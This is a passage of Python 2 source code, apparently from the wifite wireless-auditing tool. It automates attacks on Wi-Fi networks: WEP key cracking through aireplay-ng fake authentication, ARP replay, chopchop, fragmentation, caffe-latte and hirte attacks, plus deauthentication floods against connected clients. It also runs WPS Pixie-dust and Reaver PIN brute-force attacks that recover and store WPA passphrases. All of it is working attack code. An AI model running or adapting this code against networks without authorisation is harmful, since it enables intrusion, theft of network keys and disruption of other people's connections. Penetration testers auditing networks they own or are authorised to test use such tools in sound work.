infile.read().replace('\n', '') 2876 | infile.close() 2877 | print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % ( 2878 | G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W) 2879 | self.RUN_CONFIG.WEP_FINDINGS.append( 2880 | 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key)) 2881 | self.RUN_CONFIG.WEP_FINDINGS.append('') 2882 | 2883 | t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid) 2884 | t.key = key 2885 | self.RUN_CONFIG.save_cracked(t) 2886 | 2887 | # Kill processes 2888 | send_interrupt(proc_airodump) 2889 | send_interrupt(proc_aireplay) 2890 | send_interrupt(proc_aircrack) 2891 | # Remove files generated by airodump/aireplay/packetforce 2892 | remove_airodump_files(file_prefix) 2893 | remove_file(wepkey_file) 2894 | return True 2895 | 2896 | # Keyboard interrupt during attack 2897 | except KeyboardInterrupt: 2898 | print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W 2899 | 2900 | send_interrupt(proc_airodump) 2901 | if proc_aireplay != None: 2902 | send_interrupt(proc_aireplay) 2903 | if proc_aircrack != None: 2904 | send_interrupt(proc_aircrack) 2905 | 2906 | options = [] 2907 | selections = [] 2908 | if remaining_attacks > 0: 2909 | options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \ 2910 | (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else '')) 2911 | selections.append(G + 'c' + W) 2912 | 2913 | if self.RUN_CONFIG.TARGETS_REMAINING > 0: 2914 | options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \ 2915 | (O, W, self.RUN_CONFIG.TARGETS_REMAINING, 2916 | 's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else '')) 2917 | selections.append(O + 's' + W) 2918 | 2919 | options.append('%sexit%s the program completely' % (R, W)) 2920 | selections.append(R + 'e' + W) 2921 | 2922 | if len(options) > 1: 2923 | # Ask user what they want to do, Store answer in "response" 2924 | print GR + ' [+]' + W + ' what do you want to do?' 2925 | response = '' 2926 | while response != 'c' and response != 's' and response != 'e': 2927 | for option in options: 2928 | print ' %s' % option 2929 | response = raw_input( 2930 | GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0] 2931 | else: 2932 | response = 'e' 2933 | 2934 | if response == 'e' or response == 's': 2935 | # Exit or skip target (either way, stop this attack) 2936 | if self.RUN_CONFIG.WEP_SAVE: 2937 | # Save packets 2938 | save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':', 2939 | '-') + '.cap' + W 2940 | try: 2941 | rename(cap_file, save_as) 2942 | except OSError: 2943 | print R + ' [!]' + O + ' unable to save capture file!' + W 2944 | else: 2945 | print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W 2946 | 2947 | # Remove files generated by airodump/aireplay/packetforce 2948 | for filename in os.listdir('.'): 2949 | if filename.startswith('replay_arp-') and filename.endswith('.cap'): 2950 | remove_file(filename) 2951 | remove_airodump_files(file_prefix) 2952 | remove_file(wepkey_file) 2953 | print '' 2954 | if response == 'e': 2955 | self.RUN_CONFIG.exit_gracefully(0) 2956 | return 2957 | 2958 | elif response == 'c': 2959 | # Continue attacks 2960 | # Need to backup temp/wep-01.cap and remove airodump files 2961 | i = 2 2962 | while os.path.exists(os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap')): 2963 | i += 1 2964 | new_cap_file = os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap') 2965 | copy(cap_file, new_cap_file) 2966 | remove_airodump_files(file_prefix) 2967 | 2968 | # Need to restart airodump-ng, as it's been interrupted/killed 2969 | proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN) 2970 | 2971 | # Say we haven't started cracking yet, so we re-start if needed. 2972 | started_cracking = False 2973 | 2974 | # Reset IVs counters for proper behavior 2975 | total_ivs += ivs 2976 | ivs = 0 2977 | last_ivs = 0 2978 | 2979 | # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap 2980 | pass 2981 | 2982 | if successful: 2983 | print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W 2984 | else: 2985 | print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W 2986 | 2987 | send_interrupt(proc_airodump) 2988 | if proc_aireplay != None: 2989 | send_interrupt(proc_aireplay) 2990 | 2991 | # Remove files generated by airodump/aireplay/packetforce 2992 | for filename in os.listdir('.'): 2993 | if filename.startswith('replay_arp-') and filename.endswith('.cap'): 2994 | remove_file(filename) 2995 | remove_airodump_files(file_prefix) 2996 | remove_file(wepkey_file) 2997 | 2998 | def wep_fake_auth(self, iface, target, time_to_display): 2999 | """ 3000 | Attempt to (falsely) authenticate with a WEP access point. 3001 | Gives 3 seconds to make each 5 authentication attempts. 3002 | Returns True if authentication was successful, False otherwise. 3003 | """ 3004 | max_wait = 3 # Time, in seconds, to allow each fake authentication 3005 | max_attempts = 5 # Number of attempts to make 3006 | 3007 | for fa_index in xrange(1, max_attempts + 1): 3008 | print '\r ', 3009 | print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \ 3010 | (GR + time_to_display + W, G, W, fa_index, max_attempts), 3011 | stdout.flush() 3012 | 3013 | cmd = ['aireplay-ng', 3014 | '--ignore-negative-one', 3015 | '-1', '0', # Fake auth, no delay 3016 | '-a', target.bssid, 3017 | '-T', '1'] # Make 1 attempt 3018 | if target.ssid != '': 3019 | cmd.append('-e') 3020 | cmd.append(target.ssid) 3021 | cmd.append(iface) 3022 | 3023 | proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN) 3024 | started = time.time() 3025 | while proc_fakeauth.poll() == None and time.time() - started <= max_wait: 3026 | time.sleep(0.1) 3027 | 3028 | if time.time() - started > max_wait: 3029 | send_interrupt(proc_fakeauth) 3030 | print R + 'failed' + W, 3031 | stdout.flush() 3032 | time.sleep(0.5) 3033 | continue 3034 | 3035 | result = proc_fakeauth.communicate()[0].lower() 3036 | if result.find('switching to shared key') != -1 or \ 3037 | result.find('rejects open system'): pass 3038 | if result.find('association successful') != -1: 3039 | print G + 'success!' + W 3040 | return True 3041 | 3042 | print R + 'failed' + W, 3043 | stdout.flush() 3044 | time.sleep(0.5) 3045 | continue 3046 | print '' 3047 | return False 3048 | 3049 | def get_aireplay_command(self, iface, attack_num, target, clients, client_mac): 3050 | """ 3051 | Returns aireplay-ng command line arguments based on parameters. 3052 | """ 3053 | cmd = '' 3054 | if attack_num == 0: 3055 | cmd = ['aireplay-ng', 3056 | '--ignore-negative-one', 3057 | '--arpreplay', 3058 | '-b', target.bssid, 3059 | '-x', str(self.RUN_CONFIG.WEP_PPS)] # Packets per second 3060 | if client_mac != '': 3061 | cmd.append('-h') 3062 | cmd.append(client_mac) 3063 | elif len(clients) > 0: 3064 | cmd.append('-h') 3065 | cmd.append(clients[0].bssid) 3066 | cmd.append(iface) 3067 | 3068 | elif attack_num == 1: 3069 | cmd = ['aireplay-ng', 3070 | '--ignore-negative-one', 3071 | '--chopchop', 3072 | '-b', target.bssid, 3073 | '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second 3074 | '-m', '60', # Minimum packet length (bytes) 3075 | '-n', '82', # Maxmimum packet length 3076 | '-F'] # Automatically choose the first packet 3077 | if client_mac != '': 3078 | cmd.append('-h') 3079 | cmd.append(client_mac) 3080 | elif len(clients) > 0: 3081 | cmd.append('-h') 3082 | cmd.append(clients[0].bssid) 3083 | cmd.append(iface) 3084 | 3085 | elif attack_num == 2: 3086 | cmd = ['aireplay-ng', 3087 | '--ignore-negative-one', 3088 | '--fragment', 3089 | '-b', target.bssid, 3090 | '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second 3091 | '-m', '100', # Minimum packet length (bytes) 3092 | '-F'] # Automatically choose the first packet 3093 | if client_mac != '': 3094 | cmd.append('-h') 3095 | cmd.append(client_mac) 3096 | elif len(clients) > 0: 3097 | cmd.append('-h') 3098 | cmd.append(clients[0].bssid) 3099 | cmd.append(iface) 3100 | 3101 | elif attack_num == 3: 3102 | cmd = ['aireplay-ng', 3103 | '--ignore-negative-one', 3104 | '--caffe-latte', 3105 | '-b', target.bssid] 3106 | if len(clients) > 0: 3107 | cmd.append('-h') 3108 | cmd.append(clients[0].bssid) 3109 | cmd.append(iface) 3110 | 3111 | elif attack_num == 4: 3112 | cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c', 3113 | 'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface] 3114 | 3115 | elif attack_num == 5: 3116 | if len(clients) == 0: 3117 | print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients' 3118 | return '' 3119 | cmd = ['aireplay-ng', 3120 | '--ignore-negative-one', 3121 | '--cfrag', 3122 | '-h', clients[0].bssid, 3123 | iface] 3124 | 3125 | return cmd 3126 | 3127 | def wep_send_deauths(self, iface, target, clients): 3128 | """ 3129 | Sends deauth packets to broadcast and every client. 3130 | """ 3131 | # Send deauth to broadcast 3132 | cmd = ['aireplay-ng', 3133 | '--ignore-negative-one', 3134 | '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), 3135 | '-a', target.bssid, 3136 | iface] 3137 | call(cmd, stdout=DN, stderr=DN) 3138 | # Send deauth to every client 3139 | for client in clients: 3140 | cmd = ['aireplay-ng', 3141 | '--ignore-negative-one', 3142 | '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), 3143 | '-a', target.bssid, 3144 | '-c', client.bssid, 3145 | iface] 3146 | call(cmd, stdout=DN, stderr=DN) 3147 | 3148 | 3149 | ################# 3150 | # WPS FUNCTIONS # 3151 | ################# 3152 | class WPSAttack(Attack): 3153 | def __init__(self, iface, target, config): 3154 | self.iface = iface 3155 | self.target = target 3156 | self.RUN_CONFIG = config 3157 | 3158 | def RunAttack(self): 3159 | ''' 3160 | Abstract method for initializing the WPS attack 3161 | ''' 3162 | if self.is_pixie_supported(): 3163 | # Try the pixie-dust attack 3164 | if self.attack_wps_pixie(): 3165 | # If it succeeds, stop 3166 | return True 3167 | 3168 | # Drop out if user specified to run ONLY the pixie attack 3169 | if self.RUN_CONFIG.PIXIE: 3170 | return False 3171 | 3172 | # Try the WPS PIN attack 3173 | return self.attack_wps() 3174 | 3175 | def EndAttack(self): 3176 | ''' 3177 | Abstract method for ending the WPS attack 3178 | ''' 3179 | pass 3180 | 3181 | def is_pixie_supported(self): 3182 | ''' 3183 | Checks if current version of Reaver supports the pixie-dust attack 3184 | ''' 3185 | p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE) 3186 | stdout = p.communicate()[1] 3187 | for line in stdout.split('\n'): 3188 | if '--pixie-dust' in line: 3189 | return True 3190 | return False 3191 | 3192 | def attack_wps_pixie(self): 3193 | """ 3194 | Attempts "Pixie WPS" attack which certain vendors 3195 | susceptible to. 3196 | """ 3197 | 3198 | # TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6_x") 3199 | # If not, return False 3200 | 3201 | output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out') 3202 | pixie_file = os.path.join(self.RUN_CONFIG.temp, 'pixie.out') 3203 | 3204 | print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \ 3205 | (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W) 3206 | cmd = ['reaver', 3207 | '-i', self.iface, 3208 | '-b', self.target.bssid, 3209 | '-c', self.target.channel, 3210 | '-K', '1', # Pixie WPS attack 3211 | '-vv'] # verbose output 3212 | 3213 | # Redirect output to files 3214 | outf = open(output_file, 'a') 3215 | errf = open(pixie_file, 'a') 3216 | 3217 | # Start process 3218 | proc = Popen(cmd, stdout=outf, stderr=errf) 3219 | 3220 | cracked = False # Flag for when password/pin is found 3221 | time_started = time.time() 3222 | pin = '' 3223 | key = '' 3224 | 3225 | try: 3226 | while not cracked: 3227 | time.sleep(1) 3228 | errf.flush() 3229 | if proc.poll() != None: 3230 | # Process stopped: Cracked? Failed? 3231 | errf.close() 3232 | inf = open(output_file, 'r') 3233 | lines = inf.read().split('\n') 3234 | inf.close() 3235 | for line in lines: 3236 | # Cracked: older pixiewps/reaver output 3237 | if line.find("WPS PIN: '") != -1: 3238 | pin = line[line.find("WPS PIN: '") + 10:-1] 3239 | cracked = True 3240 | if line.find("WPA PSK: '") != -1: 3241 | key = line[line.find("WPA PSK: '") + 10:-1] 3242 | 3243 | # Cracked: Newer pixiewps output 3244 | if line.find("WPS pin: ") != -1: 3245 | pin = line[line.find("WPS pin: ") + 10:] 3246 | cracked = True 3247 | if line.find("WPA PSK: ") != -1: 3248 | key = line[line.find("WPA PSK: ") + 10:] 3249 | 3250 | # Failed: 3251 | if 'Pixie-Dust' in line and 'WPS pin not found' in line: 3252 | # PixieDust isn't possible on this router 3253 | print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W) 3254 | break 3255 | break 3256 | 3257 | # (Reaver is still running) 3258 | 3259 | print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G), 3260 | 3261 | # Check if there's an output file to parse 3262 | if not os.path.exists(output_file): continue 3263 | inf = open(output_file, 'r') 3264 | lines = inf.read().split('\n') 3265 | inf.close() 3266 | 3267 | output_line = '' 3268 | for line in lines: 3269 | line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip() 3270 | if line == '' or line == ' ' or line == '\t': continue 3271 | if len(line) > 50: 3272 | # Trim to a reasonable size 3273 | line = line[0:47] + '...' 3274 | output_line = line 3275 | 3276 | if 'Sending M2 message' in output_line: 3277 | # At this point in the Pixie attack, all output is via stderr 3278 | # We have to wait for the process to finish to see the result. 3279 | print O, 'sending M2 message (may take a while)... ', W, 3280 | elif output_line != '': 3281 | # Print the last message from reaver as a "status update" 3282 | print C, output_line, W, ' ' * (50 - len(output_line)), 3283 | 3284 | stdout.flush() 3285 | 3286 | # Clear out output file 3287 | inf = open(output_file, 'w') 3288 | inf.close() 3289 | 3290 | # End of big "while not cracked" loop 3291 | if cracked: 3292 | if pin != '': 3293 | print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) 3294 | 3295 | if key != '': 3296 | print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) 3297 | else: 3298 | key = 'N/A' 3299 | 3300 | self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % ( 3301 | G + self.target.ssid + W, C + key + W, C + pin + W)) 3302 | self.RUN_CONFIG.WPA_FINDINGS.append('') 3303 | 3304 | t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid) 3305 | t.key = key 3306 | t.wps = pin 3307 | self.RUN_CONFIG.save_cracked(t) 3308 | else: 3309 | print GR + '\n [+]' + R + ' Attack failed.' + W 3310 | 3311 | except KeyboardInterrupt: 3312 | print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W 3313 | if attack_interrupted_prompt(): 3314 | send_interrupt(proc) 3315 | print '' 3316 | self.RUN_CONFIG.exit_gracefully(0) 3317 | 3318 | send_interrupt(proc) 3319 | 3320 | # Delete the files 3321 | if os.path.exists(output_file): os.remove(output_file) 3322 | if os.path.exists(pixie_file): os.remove(pixie_file) 3323 | 3324 | return cracked 3325 | 3326 | 3327 | def attack_wps(self): 3328 | """ 3329 | Mounts attack against target on iface. 3330 | Uses "reaver" to attempt to brute force the PIN. 3331 | Once PIN is found, PSK can be recovered. 3332 | PSK is displayed to user and added to WPS_FINDINGS 3333 | """ 3334 | print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \ 3335 | (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W) 3336 | 3337 | output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out') 3338 | cmd = ['reaver', 3339 | '-i', self.iface, 3340 | '-b', self.target.bssid, 3341 | '-o', output_file, # Dump output to file to be monitored 3342 | '-c', self.target.channel, 3343 | '-vv'] # verbose output 3344 | proc = Popen(cmd, stdout=DN, stderr=DN) 3345 | 3346 | cracked = False # Flag for when password/pin is found 3347 | percent = 'x.xx%' # Percentage complete 3348 | aps = 'x' # Seconds per attempt 3349 | time_started = time.time() 3350 | last_success = time_started # Time of last successful attempt 3351 | last_pin = '' # Keep track of last pin tried (to detect retries) 3352 | retries = 0 # Number of times we have attempted this PIN 3353 | tries_total = 0 # Number of times we have attempted all pins 3354 | tries = 0 # Number of successful attempts 3355 | pin = '' 3356 | key = '' 3357 | 3358 | try: 3359 | while not cracked: 3360 | time.sleep(1) 3361 | 3362 | if not os.path.exists(output_file): continue 3363 | 3364 | if proc.poll() != None: 3365 | # Process stopped: Cracked? Failed? 3366 | inf = open(output_file, 'r') 3367 | lines = inf.read().split('\n') 3368 | inf.close() 3369 | for line in lines: 3370 | # When it's cracked: 3371 | if line.find("WPS PIN: '") != -1: 3372 | pin = line[line.find("WPS PIN: '") + 10:-1] 3373 | cracked = True 3374 | if line.find("WPA PSK: '") != -1: 3375 | key = line[line.find("WPA PSK: '") + 10:-1] 3376 | 3377 | break 3378 | 3379 | inf = open(output_file, 'r') 3380 | lines = inf.read().split('\n') 3381 | inf.close() 3382 | 3383 | for line in lines: 3384 | if line.strip() == '': continue 3385 | # Status 3386 | if line.find(' complete @ ') != -1 and len(line) > 8: 3387 | percent = line.split(' ')[1] 3388 | i = line.find(' (') 3389 | j = line.find(' seconds/', i) 3390 | if i != -1 and j != -1: aps = line[i + 2:j] 3391 | # PIN attempt 3392 | elif line.find(' Trying pin ') != -1: 3393 | pin = line.strip().split(' ')[-1] 3394 | if pin == last_pin: 3395 | retries += 1 3396 | elif tries_total == 0: 3397 | last_pin = pin 3398 | tries_total -= 1 3399 | else: 3400 | last_success = time.time() 3401 | tries += 1 3402 | last_pin = pin 3403 | retries = 0 3404 | tries_total += 1 3405 | 3406 | # Warning 3407 | elif line.endswith('10 failed connections in a row'): 3408 | pass 3409 | 3410 | # Check for PIN/PSK 3411 | elif line.find("WPS PIN: '") != -1: 3412 | pin = line[line.find("WPS PIN: '") + 10:-1] 3413 | cracked = True 3414 | elif line.find("WPA PSK: '") != -1: 3415 | key = line[line.find("WPA PSK: '") + 10:-1] 3416 | if cracked: break 3417 | 3418 | print ' %s WPS attack, %s success/ttl,' % \ 3419 | (GR + sec_to_hms(time.time() - time_started) + W, \ 3420 | G + str(tries) + W + '/' + O + str(tries_total) + W), 3421 | 3422 | if percent == 'x.xx%' and aps == 'x': 3423 | print '\r', 3424 | else: 3425 | print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W), 3426 | 3427 | if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT: 3428 | print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % ( 3429 | self.RUN_CONFIG.WPS_TIMEOUT) 3430 | print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W) 3431 | break 3432 | 3433 | if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES: 3434 | print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % ( 3435 | self.RUN_CONFIG.WPS_MAX_RETRIES) 3436 | print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W 3437 | print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W) 3438 | break 3439 | 3440 | if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and ( 3441 | float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD: 3442 | print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % ( 3443 | self.RUN_CONFIG.WPS_RATIO_THRESHOLD) 3444 | print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W) 3445 | break 3446 | 3447 | stdout.flush() 3448 | # Clear out output file if bigger than 1mb 3449 | inf = open(output_file, 'w') 3450 | inf.close() 3451 | 3452 | # End of big "while not cracked" loop 3453 | 3454 | if cracked: 3455 | if pin != '': 3456 | print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) 3457 | if key != '': 3458 | print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) 3459 | else: 3460 | key = 'N/A' 3461 | self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % ( 3462 | G + self.target.ssid + W, C + key + W, C + pin + W)) 3463 | self.RUN_CONFIG.WPA_FINDINGS.append('') 3464 | 3465 | t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid) 3466 | t.key = key 3467 | t.wps = pin 3468 | self.RUN_CONFIG.save_cracked(t) 3469 | 3470 | except KeyboardInterrupt: 3471 | print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W 3472 | if attack_interrupted_prompt(): 3473 | send_interrupt(proc) 3474 | print '' 3475 | self.RUN_CONFIG.exit_gracefully(0) 3476 | 3477 | send_interrupt(proc) 3478 | 3479 | return cracked 3480 | 3481 | 3482 | if __name__ == '__main__': 3483 | RUN_CONFIG = RunConfiguration() 3484 | try: 3485 | banner(RUN_CONFIG) 3486 | engine = RunEngine(RUN_CONFIG) 3487 | engine.Start() 3488 | #main(RUN_CONFIG) 3489 | except KeyboardInterrupt: 3490 | print R + '\n (^C)' + O + ' interrupted\n' + W 3491 | except EOFError: 3492 | print R + '\n (^D)' + O + ' interrupted\n' + W 3493 | 3494 | RUN_CONFIG.exit_gracefully(0) 3495 | --------------------------------------------------------------------------------